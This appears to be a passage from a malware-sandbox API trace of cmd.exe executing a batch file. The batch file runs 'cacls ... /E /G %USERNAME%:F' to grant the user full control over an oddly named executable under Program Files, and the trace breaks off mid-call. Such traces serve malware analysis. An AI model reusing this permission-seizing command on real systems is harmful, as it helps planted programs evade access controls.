(_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0089.204] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0089.204] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0089.204] GetProcessHeap () returned 0x4f0000 [0089.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x58) returned 0x5031c8 [0089.204] GetProcessHeap () returned 0x4f0000 [0089.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x72) returned 0x512b78 [0089.206] GetProcessHeap () returned 0x4f0000 [0089.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xa0) returned 0x503228 [0089.206] GetConsoleTitleW (in: lpConsoleTitle=0x1af748, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.207] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0089.207] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0089.207] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0089.207] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0089.207] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0089.207] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0089.207] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0089.207] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0089.207] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0089.207] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0089.207] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0089.207] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0089.207] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0089.207] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0089.207] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0089.207] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0089.207] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0089.207] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0089.207] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0089.207] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0089.208] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0089.208] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0089.208] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0089.208] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0089.208] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0089.208] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0089.208] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0089.208] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0089.208] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0089.208] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0089.208] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0089.208] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0089.208] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0089.208] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0089.208] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0089.208] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0089.208] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0089.208] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0089.208] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0089.208] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0089.208] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0089.208] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0089.208] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0089.208] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0089.208] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0089.208] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0089.208] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0089.208] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0089.208] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0089.208] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0089.208] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0089.208] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0089.208] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0089.208] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0089.208] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0089.208] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0089.208] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0089.208] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0089.208] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0089.209] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0089.209] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0089.209] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0089.209] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0089.209] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0089.209] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0089.209] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0089.209] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0089.209] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0089.209] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0089.209] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0089.209] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0089.209] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0089.209] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0089.209] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0089.209] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0089.209] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0089.209] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0089.209] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0089.209] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0089.209] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0089.209] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0089.209] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0089.209] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0089.209] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0089.209] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0089.209] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0089.209] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0089.209] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0089.209] GetProcessHeap () returned 0x4f0000 [0089.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x210) returned 0x5032d0 [0089.209] GetProcessHeap () returned 0x4f0000 [0089.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10a) returned 0x5034e8 [0089.211] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0089.211] GetProcessHeap () returned 0x4f0000 [0089.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x418) returned 0x4f07f0 [0089.211] SetErrorMode (uMode=0x0) returned 0x0 [0089.211] SetErrorMode (uMode=0x1) returned 0x0 [0089.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x4f07f8, lpFilePart=0x1af268 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af268*="Desktop") returned 0x25 [0089.211] SetErrorMode (uMode=0x0) returned 0x1 [0089.211] GetProcessHeap () returned 0x4f0000 [0089.211] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4f07f0, Size=0x6e) returned 0x4f07f0 [0089.211] GetProcessHeap () returned 0x4f0000 [0089.211] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x4f07f0) returned 0x6e [0089.211] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0089.211] GetProcessHeap () returned 0x4f0000 [0089.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x5a) returned 0x503600 [0089.212] GetProcessHeap () returned 0x4f0000 [0089.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xa8) returned 0x4f0868 [0089.212] GetProcessHeap () returned 0x4f0000 [0089.212] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4f0868, Size=0x5a) returned 0x4f0868 [0089.212] GetProcessHeap () returned 0x4f0000 [0089.212] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x4f0868) returned 0x5a [0089.212] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0089.212] GetProcessHeap () returned 0x4f0000 [0089.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x4f08d0 [0089.215] GetProcessHeap () returned 0x4f0000 [0089.215] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4f08d0, Size=0x76) returned 0x4f08d0 [0089.215] GetProcessHeap () returned 0x4f0000 [0089.215] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x4f08d0) returned 0x76 [0089.215] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.215] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x1af004, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af004) returned 0x503668 [0089.215] GetProcessHeap () returned 0x4f0000 [0089.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x501848 [0089.215] FindClose (in: hFindFile=0x503668 | out: hFindFile=0x503668) returned 1 [0089.215] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0089.215] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0089.215] GetConsoleTitleW (in: lpConsoleTitle=0x1af4dc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.216] GetProcessHeap () returned 0x4f0000 [0089.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x11c) returned 0x4f0950 [0089.216] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0089.216] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0089.216] IdentifyCodeAuthzLevelW () returned 0x1 [0089.223] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0089.223] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0089.223] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0089.223] CloseCodeAuthzLevel () returned 0x1 [0089.223] SetErrorMode (uMode=0x0) returned 0x0 [0089.223] SetErrorMode (uMode=0x1) returned 0x0 [0089.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x5032d8, lpFilePart=0x1af3c8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x1af3c8*="Bt3xnwko.bat") returned 0x32 [0089.223] SetErrorMode (uMode=0x0) returned 0x1 [0089.223] GetProcessHeap () returned 0x4f0000 [0089.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x72) returned 0x512bf8 [0089.223] wcsspn (_String=" \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"", _Control=" \x09") returned 0x1 [0089.223] GetProcessHeap () returned 0x4f0000 [0089.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x9e) returned 0x4f11a8 [0089.223] GetProcessHeap () returned 0x4f0000 [0089.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x134) returned 0x514b60 [0089.223] GetProcessHeap () returned 0x4f0000 [0089.223] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x514b60, Size=0xa0) returned 0x514b60 [0089.223] GetProcessHeap () returned 0x4f0000 [0089.224] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x514b60) returned 0xa0 [0089.224] CmdBatNotification () returned 0x50333a [0089.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1af40c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0089.224] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0089.224] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.224] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.224] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.224] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0089.224] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1af3f0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x1af3f0*=0xe2, lpOverlapped=0x0) returned 1 [0089.225] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0089.225] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0089.226] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.226] GetFileType (hFile=0x78) returned 0x1 [0089.226] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.226] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0089.226] GetProcessHeap () returned 0x4f0000 [0089.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x506b28 [0089.226] GetProcessHeap () returned 0x4f0000 [0089.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4008) returned 0x514c08 [0089.226] GetProcessHeap () returned 0x4f0000 [0089.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1a) returned 0x505878 [0089.226] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0089.226] GetProcessHeap () returned 0x4f0000 [0089.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505878 | out: hHeap=0x4f0000) returned 1 [0089.226] GetProcessHeap () returned 0x4f0000 [0089.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0089.227] GetProcessHeap () returned 0x4f0000 [0089.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506b28 | out: hHeap=0x4f0000) returned 1 [0089.227] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0089.227] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0089.227] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0089.227] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0089.227] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0089.227] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0089.227] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0089.227] GetProcessHeap () returned 0x4f0000 [0089.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x58) returned 0x4f1250 [0089.227] GetProcessHeap () returned 0x4f0000 [0089.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x14) returned 0x4f0b20 [0089.229] GetProcessHeap () returned 0x4f0000 [0089.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x5041c8 [0089.230] _tell (_FileHandle=3) returned 32 [0089.230] _close (_FileHandle=3) returned 0 [0089.230] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af1c4 | out: _Buffer="\r\n") returned 2 [0089.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.231] GetFileType (hFile=0x7) returned 0x2 [0089.396] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.396] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af184 | out: lpMode=0x1af184) returned 1 [0089.396] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.396] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af1b0*=0x2) returned 1 [0089.397] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0089.397] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.397] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af1c0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0089.397] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af1c0 | out: _Buffer=">") returned 1 [0089.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.397] GetFileType (hFile=0x7) returned 0x2 [0089.397] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.397] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af188 | out: lpMode=0x1af188) returned 1 [0089.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.397] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x1af1b4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x1af1b4*=0x26) returned 1 [0089.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.399] GetFileType (hFile=0x7) returned 0x2 [0089.399] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.399] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af40c | out: lpMode=0x1af40c) returned 1 [0089.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.399] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4f0b28*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x1af438, lpReserved=0x0 | out: lpBuffer=0x4f0b28*, lpNumberOfCharsWritten=0x1af438*=0x5) returned 1 [0089.400] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af444 | out: _Buffer=" \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 108 [0089.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.400] GetFileType (hFile=0x7) returned 0x2 [0089.400] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.400] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0089.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.400] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x6c, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x6c) returned 1 [0089.401] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af464 | out: _Buffer="\r\n") returned 2 [0089.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.401] GetFileType (hFile=0x7) returned 0x2 [0089.401] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.401] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af424 | out: lpMode=0x1af424) returned 1 [0089.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.401] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af450, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af450*=0x2) returned 1 [0089.401] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0089.402] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0089.402] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0089.402] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0089.402] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0089.402] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0089.402] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0089.402] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0089.402] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0089.402] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0089.402] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0089.402] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0089.402] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0089.402] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0089.402] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0089.402] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0089.402] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0089.402] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0089.402] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0089.402] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0089.402] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0089.402] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0089.402] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0089.402] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0089.402] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0089.402] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0089.402] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0089.402] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0089.402] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0089.402] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0089.402] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0089.402] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0089.402] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0089.402] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0089.402] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0089.402] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0089.402] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0089.402] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0089.402] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0089.403] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0089.403] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0089.403] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0089.403] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0089.403] GetProcessHeap () returned 0x4f0000 [0089.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x418) returned 0x5042b0 [0089.403] SetErrorMode (uMode=0x0) returned 0x0 [0089.403] SetErrorMode (uMode=0x1) returned 0x0 [0089.403] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5042b8, lpFilePart=0x1af208 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af208*="Desktop") returned 0x25 [0089.403] SetErrorMode (uMode=0x0) returned 0x1 [0089.403] GetProcessHeap () returned 0x4f0000 [0089.403] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5042b0, Size=0x60) returned 0x5042b0 [0089.403] GetProcessHeap () returned 0x4f0000 [0089.403] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5042b0) returned 0x60 [0089.403] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0089.403] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0089.403] GetProcessHeap () returned 0x4f0000 [0089.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x120) returned 0x504318 [0089.403] GetProcessHeap () returned 0x4f0000 [0089.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x238) returned 0x504440 [0089.405] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504440, Size=0x122) returned 0x504440 [0089.405] GetProcessHeap () returned 0x4f0000 [0089.405] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504440) returned 0x122 [0089.406] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0089.406] GetProcessHeap () returned 0x4f0000 [0089.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x504570 [0089.406] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504570, Size=0x76) returned 0x504570 [0089.406] GetProcessHeap () returned 0x4f0000 [0089.406] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504570) returned 0x76 [0089.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.406] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0xffffffff [0089.406] GetLastError () returned 0x2 [0089.406] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0xffffffff [0089.406] GetLastError () returned 0x2 [0089.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.406] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 